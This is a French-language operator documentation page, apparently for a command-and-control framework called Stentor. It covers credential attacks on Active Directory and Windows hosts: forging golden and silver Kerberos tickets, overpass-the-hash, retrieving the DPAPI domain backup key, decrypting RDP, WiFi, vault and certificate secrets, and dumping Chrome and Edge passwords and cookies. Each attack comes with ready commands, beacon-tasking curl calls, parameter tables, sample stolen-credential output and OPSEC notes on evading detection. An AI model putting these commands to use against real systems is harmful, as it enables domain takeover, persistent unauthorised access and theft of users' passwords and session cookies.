  • Microsoft Defender pour Identity (MDI) détecte spécifiquement DCSync comme une alerte « Attaque DCSync suspectée »
  • La requête du mappeur de point de terminaison RPC (port 135) + la liaison DRSUAPI sont visibles dans le trafic réseau
  • Nécessite les droits DS-Replication-Get-Changes + DS-Replication-Get-Changes-All - généralement un compte d'administrateur de domaine, d'administrateur d'entreprise ou d'ordinateur DC.
  • MITRE ATT&CK : T1003.006 (vidage des informations d'identification du système d'exploitation : DCSync)

DCSync et vidage NTDS

Préférez DCSync au dump NTDS lorsque cela est possible. DCSync fonctionne sur le réseau sans toucher au système de fichiers DC, évite les artefacts de cliché instantané des volumes et peut cibler des comptes spécifiques. Le vidage NTDS nécessite un accès administrateur de domaine au système de fichiers du contrôleur de domaine et génère d'importants artefacts de disque/journal des événements.


Forgeage de tickets Kerberos

Forgez des tickets Kerberos à l’aide de clés compromises pour obtenir un accès persistant ou ciblé sans avoir besoin du mot de passe d’origine en texte clair.

billet_doré

Forgez un Ticket Granting Ticket (TGT) à l'aide de la clé AES256 du compte krbtgt. Un ticket doré accorde au titulaire un accès équivalent à celui d'administrateur de domaine à n'importe quel service du domaine, avec une durée de vie personnalisée (10 ans par défaut).

Comment ça marche : Construit un TGT (AS-REP) avec un PAC (Privilege Attribute Certificate) arbitraire contenant les appartenances aux groupes d'administrateurs (Administrateurs de domaine 512, Administrateurs de schéma 518, Administrateurs d'entreprise 519, Propriétaires des créateurs de stratégie de groupe 520). Le ticket est crypté à l'aide de la clé krbtgt AES256 et exporté au format .kirbi (Mimikatz/Rubeus) ou .ccache (Linux).

Type de tâche : creds (méthode : golden_ticket)

Paramètre Type Obligatoire Par défaut Description
domain chaîne Oui -- Domaine AD (par exemple, CORP.LOCAL)
domain_sid chaîne Oui -- SID du domaine (par exemple, S-1-5-21-...)
dc chaîne Oui -- Nom d'hôte du contrôleur de domaine
krbtgt_key chaîne Oui -- clé krbtgt AES256 (hexagonale)
username chaîne Non Administrator Utilisateur à usurper l'identité
user_rid int Non 500 RID utilisateur
lifetime_days int Non 3650 Durée de vie du ticket en jours
output_path chaîne Non Généré automatiquement Chemin du fichier de sortie
output_fmt chaîne Non ccache Format : ccache ou kirbi
extra_sids chaîne[] Non -- SID supplémentaires pour plusieurs forêts (historique des SID)
golden_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 dc01.corp.local aabbccdd...
golden_ticket CORP.LOCAL S-1-5-21-... dc01 aabb... --user Administrator --format kirbi
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "golden_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 dc01.corp.local aabbccddeeff..."}'

OPSEC

  • Les tickets dorés survivent aux changements de mot de passe pour tous les comptes sauf krbtgt
  • Détection : TGT avec une durée de vie inhabituelle, échecs de validation PAC, incompatibilités de types de chiffrement
  • Microsoft MDI détecte les tickets dorés via la validation PAC et les anomalies de tickets
  • Faites pivoter le mot de passe krbtgt deux fois pour invalider tous les tickets dorés
  • MITRE ATT&CK : T1558.001 (Voler ou forger des tickets Kerberos : Golden Ticket)

billet_argent

Créez un ticket TGS (Ticket Granting Service) pour un service spécifique à l'aide du hachage du mot de passe du compte de service. Les billets Argent donnent accès à un service unique sans contacter le KDC.

Comment ça marche : Construit un TGS avec un PAC pour le service spécifié, chiffré avec la clé AES256 ou NTLM du compte de service. Étant donné que les tickets TGS sont validés par le service lui-même (et non par le KDC), le faux ticket est accepté sans aucune interaction DC.

Type de tâche : creds (méthode : silver_ticket)

Paramètre Type Obligatoire Par défaut Description
domain chaîne Oui -- Domaine AD
domain_sid chaîne Oui -- ID de domaine
dc chaîne Oui -- Nom d'hôte du contrôleur de domaine
service chaîne Oui -- Type de service (par exemple, cifs, http, mssql)
target chaîne Oui -- Nom d'hôte cible (par exemple, sql01.corp.local)
hash chaîne Oui -- Hachage NTLM ou AES256 du compte de service
silver_ticket CORP.LOCAL S-1-5-21-... dc01 cifs sql01.corp.local aabbccdd...
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "silver_ticket CORP.LOCAL S-1-5-21-... dc01 cifs sql01.corp.local aabbccdd..."}'

OPSEC

  • Aucune interaction KDC requise - plus difficile à détecter via la surveillance du réseau
  • La validation PAC côté service peut détecter des anomalies si elle est activée
  • Portée limitée : seul le service ciblé est accessible
  • MITRE ATT&CK : T1558.002 (Voler ou forger des tickets Kerberos : Ticket Argent)

overpass (Overpass-the-Hash)

Obtenez un Kerberos TGT légitime en envoyant un AS-REQ avec une valeur de pré-authentification PA-ENC-TIMESTAMP basée sur le hachage. Cela convertit un hachage NTLM en un ticket Kerberos valide, permettant un accès authentifié Kerberos sans connaître le mot de passe en clair.

Comment ça marche : Construit un AS-REQ avec PA-ENC-TIMESTAMP chiffré à l'aide du hachage NTLM fourni (via RC4-HMAC etype 23) ou de la clé AES, l'envoie au KDC et reçoit un TGT valide dans l'AS-REP.

Type de tâche : creds (méthode : overpass)

Paramètre Type Obligatoire Par défaut Description
domain chaîne Oui -- Domaine AD
dc chaîne Oui -- Contrôleur de domaine
username chaîne Oui -- Nom d'utilisateur cible
hash chaîne Oui -- Hachage NTLM ou clé AES
overpass CORP.LOCAL dc01.corp.local jsmith aabbccddeeff00112233445566778899
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "overpass CORP.LOCAL dc01.corp.local jsmith aabbccddeeff00112233445566778899"}'

OPSEC

  • Génère un échange AS-REQ/AS-REP légitime sur le contrôleur de domaine (ID d'événement 4768)
  • L'utilisation de RC4 (type 23) lorsque le compte utilise normalement AES peut être signalée comme une attaque de rétrogradation.
  • Le TGT résultant ne peut pas être distingué d'un ticket normalement obtenu
  • MITRE ATT&CK : T1550.002 (Utiliser un autre matériel d'authentification : transmettre le hachage)

kerberos_ticket_use

Importez un ticket Kerberos au format .kirbi dans le cache de tickets en mémoire du beacon. Le ticket importé sera utilisé pour les opérations ultérieures authentifiées par Kerberos (y compris les commandes jump et remote-exec).

Type de tâche : kerberos (méthode : ticket_use)

kerberos_ticket_use C:\Users\Public\golden.kirbi
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberos_ticket_use C:\\Users\\Public\\golden.kirbi"}'

kerberos_ccache_use

Importez un fichier de cache d’informations d’identification au format .ccache dans le cache de tickets Kerberos du beacon. Les fichiers Ccache sont le format d'identification Linux Kerberos standard (utilisé par kinit, impacket, etc.).

Type de tâche : kerberos (méthode : ccache_use)

kerberos_ccache_use /tmp/krb5cc_admin
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "kerberos_ccache_use /tmp/krb5cc_admin"}'

Chaîne de décryptage DPAPI

L'API de protection des données (DPAPI) est le mécanisme intégré de Windows pour chiffrer les secrets des utilisateurs. Les données protégées par DPAPI incluent les informations d'identification RDP enregistrées, les mots de passe WiFi, les entrées du coffre-fort Credential Manager, les clés privées de certificat et les secrets du navigateur. Le décryptage des données DPAPI nécessite soit le mot de passe de l'utilisateur, soit la clé de sauvegarde du domaine.

flowchart TD
    MK[Master Keys<br/>dpapi_masterkeys] --> |User Password| DB[Decrypt Blob]
    BK[Domain Backup Key<br/>dpapi_backupkey] --> |LSAD RPC| DB

    DB --> RDP[RDP Credentials<br/>dpapi_rdp]
    DB --> WIFI[WiFi Passwords<br/>dpapi_wifi]
    DB --> VAULT[Vault Entries<br/>dpapi_vault]
    DB --> CERT[Certificate Keys<br/>dpapi_certkeys]

    TRIAGE[dpapi_triage<br/>Full Chain] --> MK
    TRIAGE --> RDP
    TRIAGE --> WIFI
    TRIAGE --> VAULT
    TRIAGE --> CERT

    style MK fill:#6a1b9a,color:#fff
    style BK fill:#4a148c,color:#fff
    style DB fill:#311b92,color:#fff
    style RDP fill:#1a237e,color:#fff
    style WIFI fill:#1a237e,color:#fff
    style VAULT fill:#1a237e,color:#fff
    style CERT fill:#1a237e,color:#fff
    style TRIAGE fill:#0d47a1,color:#fff

dpapi_masterkeys

Extrayez les fichiers de clé principale DPAPI des répertoires utilisateur Protect. Les clés principales sont les clés de chiffrement racine utilisées pour protéger les blobs DPAPI. Chaque utilisateur dispose d'un ensemble de clés principales stockées dans %APPDATA%\Microsoft\Protect\<SID>\.

Type de tâche : dpapi (méthode : masterkeys)

dpapi_masterkeys
dpapi_masterkeys --target S-1-5-21-1234567890-1234567890-1234567890-1001
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_masterkeys"}'

Exemple de résultat :

DPAPI master key enumeration for SID S-1-5-21-...-1001:
Found 3 master key files in C:\Users\jsmith\AppData\Roaming\Microsoft\Protect\S-1-5-21-...:

  C:\Users\jsmith\...\{a1b2c3d4-e5f6-7890-abcd-ef1234567890} (468 bytes)
  C:\Users\jsmith\...\{b2c3d4e5-f6a7-8901-bcde-f12345678901} (468 bytes)
  C:\Users\jsmith\...\Preferred (24 bytes)

Note: Master key blobs are encrypted. Decryption requires the user's password
or the domain backup key (via dpapi_backupkey).

OPSEC

  • Lit les fichiers du répertoire de profil de l'utilisateur - encombrement minimal
  • Ne tente pas de décryptage (énumération uniquement)
  • MITRE ATT&CK : T1555.004 (Identifiants des magasins de mots de passe : Windows Credential Manager)

dpapi_backupkey

Récupérez la clé de sauvegarde DPAPI du domaine à partir d'un contrôleur de domaine via LsaRetrievePrivateData RPC. La clé de sauvegarde du domaine peut déchiffrer les clés principales DPAPI de n'importe quel utilisateur du domaine, permettant ainsi le déchiffrement hors ligne de tous les secrets protégés par DPAPI sur l'ensemble du domaine.

Type de tâche : dpapi (méthode : backupkey)

Paramètre Type Obligatoire Par défaut Description
dc chaîne Oui -- Nom d'hôte du contrôleur de domaine
domain chaîne Non Détection automatique Domaine AD
dpapi_backupkey dc01.corp.local
dpapi_backupkey dc01.corp.local --domain CORP.LOCAL
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_backupkey dc01.corp.local"}'

OPSEC

  • Nécessite un administrateur de domaine ou des privilèges équivalents
  • Effectue un appel LSAD RPC au DC (LsaRetrievePrivateData)
  • La clé de sauvegarde du domaine est la « clé principale » pour tous les secrets DPAPI du domaine – informations d'identification de très grande valeur
  • MITRE ATT&CK : T1555.004 (Identifiants des magasins de mots de passe : Windows Credential Manager)

dpapi_rdp

Déchiffrez les informations d'identification RDP (Remote Desktop Protocol) enregistrées à partir du gestionnaire d'informations d'identification Windows. Il s'agit de mots de passe enregistrés lorsqu'un utilisateur coche « Mémoriser mes informations d'identification » dans le client RDP.

Type de tâche : dpapi (méthode : rdp)

dpapi_rdp
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_rdp"}'

OPSEC

  • Lit les fichiers d'informations d'identification de %LOCALAPPDATA%\Microsoft\Credentials\
  • Nécessite la clé principale DPAPI de l'utilisateur (ou la clé de sauvegarde de domaine) pour le décryptage
  • MITRE ATT&CK : T1555.004

dpapi_wifi

Décryptez les mots de passe du profil WiFi stockés sur la machine locale. Les mots de passe WiFi sont protégés par DPAPI et stockés dans des profils XML sous ProgramData\Microsoft\Wlansvc\Profiles\.

Type de tâche : dpapi (méthode : wifi)

dpapi_wifi
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_wifi"}'

OPSEC

  • Les profils WiFi sont des blobs DPAPI au niveau de la machine (nécessitent une clé principale SYSTEM ou une clé de sauvegarde de la machine)
  • Nécessite un contexte Administrateur local/SYSTÈME
  • MITRE ATT&CK : T1555.004

dpapi_vault

Décryptez les entrées du coffre-fort Windows Credential Manager. Le coffre-fort contient les informations d'identification enregistrées par les composants et applications Windows (informations d'identification Web, informations d'identification Windows, informations d'identification basées sur un certificat).

Type de tâche : dpapi (méthode : vault)

dpapi_vault
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_vault"}'

OPSEC

  • Lit les fichiers du coffre-fort à partir de %LOCALAPPDATA%\Microsoft\Vault\
  • Nécessite la clé principale DPAPI de l'utilisateur pour le décryptage
  • MITRE ATT&CK : T1555.004

dpapi_certkeys

Décryptez les clés privées du certificat protégées par DPAPI. Ces clés sont stockées dans le magasin de certificats de l'utilisateur et peuvent être utilisées pour l'authentification, la signature de code ou la communication cryptée.

Type de tâche : dpapi (méthode : certkeys)

dpapi_certkeys
dpapi_certkeys --target S-1-5-21-...-1001
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_certkeys"}'

OPSEC

  • Lit les fichiers de clés de certificat de %APPDATA%\Microsoft\Crypto\RSA\ et %APPDATA%\Microsoft\Crypto\Keys\
  • Nécessite la clé principale DPAPI de l'utilisateur pour le décryptage
  • MITRE ATT&CK : T1555.004

dpapi_triage

Exécutez un tri DPAPI complet : extrait les clés principales, puis déchiffre tous les types d'informations d'identification protégés par DPAPI disponibles (RDP, WiFi, Vault, clés de certificat) en une seule opération.

Type de tâche : dpapi (méthode : triage)

Paramètre Type Obligatoire Par défaut Description
domain chaîne Non -- Domaine pour la récupération de la clé de sauvegarde
dc chaîne Non -- DC pour la récupération de la clé de sauvegarde
dpapi_triage
dpapi_triage --domain CORP.LOCAL --dc dc01.corp.local
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "dpapi_triage"}'

Exemple de résultat :

=== Master Key Extraction ===
Found 3 master key files for SID S-1-5-21-...-1001

=== RDP Credentials ===
Target: TERMSRV/dc01.corp.local
  Username: CORP\admin
  Password: AdminP@ss123!

=== WiFi Passwords ===
SSID: CorpWiFi
  Password: WiFiP@ss2024

=== Vault Credentials ===
Resource: https://intranet.corp.local
  Username: jsmith
  Password: Intr@net!

=== Certificate Keys ===
Subject: [email protected]
  Key exported: RSA 2048-bit

Flux de travail complet de la chaîne DPAPI

  1. Exécutez dpapi_triage pour un aperçu rapide de tous les secrets disponibles
  2. Si vous disposez d'un administrateur de domaine, exécutez d'abord dpapi_backupkey pour obtenir la clé de sauvegarde du domaine.
  3. Avec la clé de sauvegarde, vous pouvez déchiffrer les clés principales de n'importe quel utilisateur du domaine
  4. Utilisez des commandes individuelles (dpapi_rdp, dpapi_wifi, etc.) pour une extraction ciblée

Extraction des informations d'identification du navigateur

chromedump

Extrayez les mots de passe et les cookies enregistrés des navigateurs Google Chrome et Microsoft Edge (basés sur Chromium). Prend en charge à la fois le déchiffrement des clés DPAPI existantes et le cryptage lié aux applications Chrome v20+ via l'interface COM IElevator.

Comment ça marche :

  1. Localise les répertoires de données utilisateur Chrome/Edge sous %LOCALAPPDATA%
  2. Lit le fichier Local State JSON pour extraire la clé principale chiffrée
  3. Déchiffrement de clé (double approche) :
    • Chrome v20+ (chiffrement lié à l'application) : utilise l'interface COM IElevator pour déchiffrer la clé liée à l'application via le service d'élévation de Chrome. Revient à DPAPI si IElevator n'est pas disponible
    • Legacy (Chrome <v20) : déchiffre la clé principale à l'aide de DPAPI (CryptUnprotectData)
  4. Copie la base de données Login Data SQLite dans un fichier temporaire (évite le verrouillage de Chrome)
  5. Interroge la table logins pour origin_url, username_value, password_value
  6. Déchiffre chaque blob de mot de passe à l'aide d'AES-256-GCM avec la clé principale
  7. Extrait et décrypte également les cookies de la base de données Cookies

Chiffrement lié à l'application Chrome v20

À partir de Chrome v127+, Google a introduit le chiffrement lié à l'application dans lequel la clé principale est chiffrée selon l'identité de l'application Chrome, et pas seulement selon le contexte DPAPI de l'utilisateur. Cela signifie que CryptUnprotectData seul ne peut pas déchiffrer la clé. chromedump de Stentor utilise l'interface COM IElevator ({708860E0-F641-4611-8895-7D867DD3675B}) pour déchiffrer via le propre service d'élévation de Chrome, puis revient au DPAPI standard pour les anciennes versions de Chrome. Les formats de clé v10/v11 et les clés liées à l'application v20+ sont pris en charge.

Type de tâche : chromedump

Point de terminaison dédié : POST /api/v1/c2/beacons/:id/chromedump

chromedump
curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/chromedump" \
  -H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "chromedump"}'

Exemple de résultat :

{
  "passwords": [
    {
      "url": "https://mail.corp.local/owa",
      "username": "[email protected]",
      "password": "OutlookP@ss123",
      "profile": "Default"
    },
    {
      "url": "https://vpn.corp.local",
      "username": "jsmith",
      "password": "VPNAccess!",
      "profile": "Default"
    }
  ],
  "cookies": [
    {
      "host": ".corp.local",
      "name": "SessionID",
      "value": "abc123...",
      "expires": 13350000000000000,
      "profile": "Default"
    }
  ]
}

OPSEC

  • Accède au répertoire de données utilisateur Chrome (%LOCALAPPDATA%\Google\Chrome\User Data\)
  • Lit et copie la base de données Login Data SQLite et le fichier Local State JSON
  • Appelle CryptUnprotectData pour déchiffrer la clé principale (génère l'ID d'événement 16385 si l'audit DPAPI est activé)
  • Crée une copie temporaire du fichier de base de données (chromedump-*.db dans %TEMP%)
  • S'exécute dans le processus du beacon (pas de fork-and-run) - utilisez d'abord steal_token si l'utilisateur cible diffère de l'utilisateur du beacon
  • MITRE ATT&CK : T1555.003 (Identifiants des magasins de mots de passe : Identifiants des navigateurs Web)

Extraction multi-utilisateurs

chromedump extrait les informations d'identification pour le contexte utilisateur actuel du beacon. Pour récupérer les informations d'identification d'un autre utilisateur, utilisez d'abord steal_token pour usurper l'identité du jeton de cet utilisateur, puis exécutez chromedump.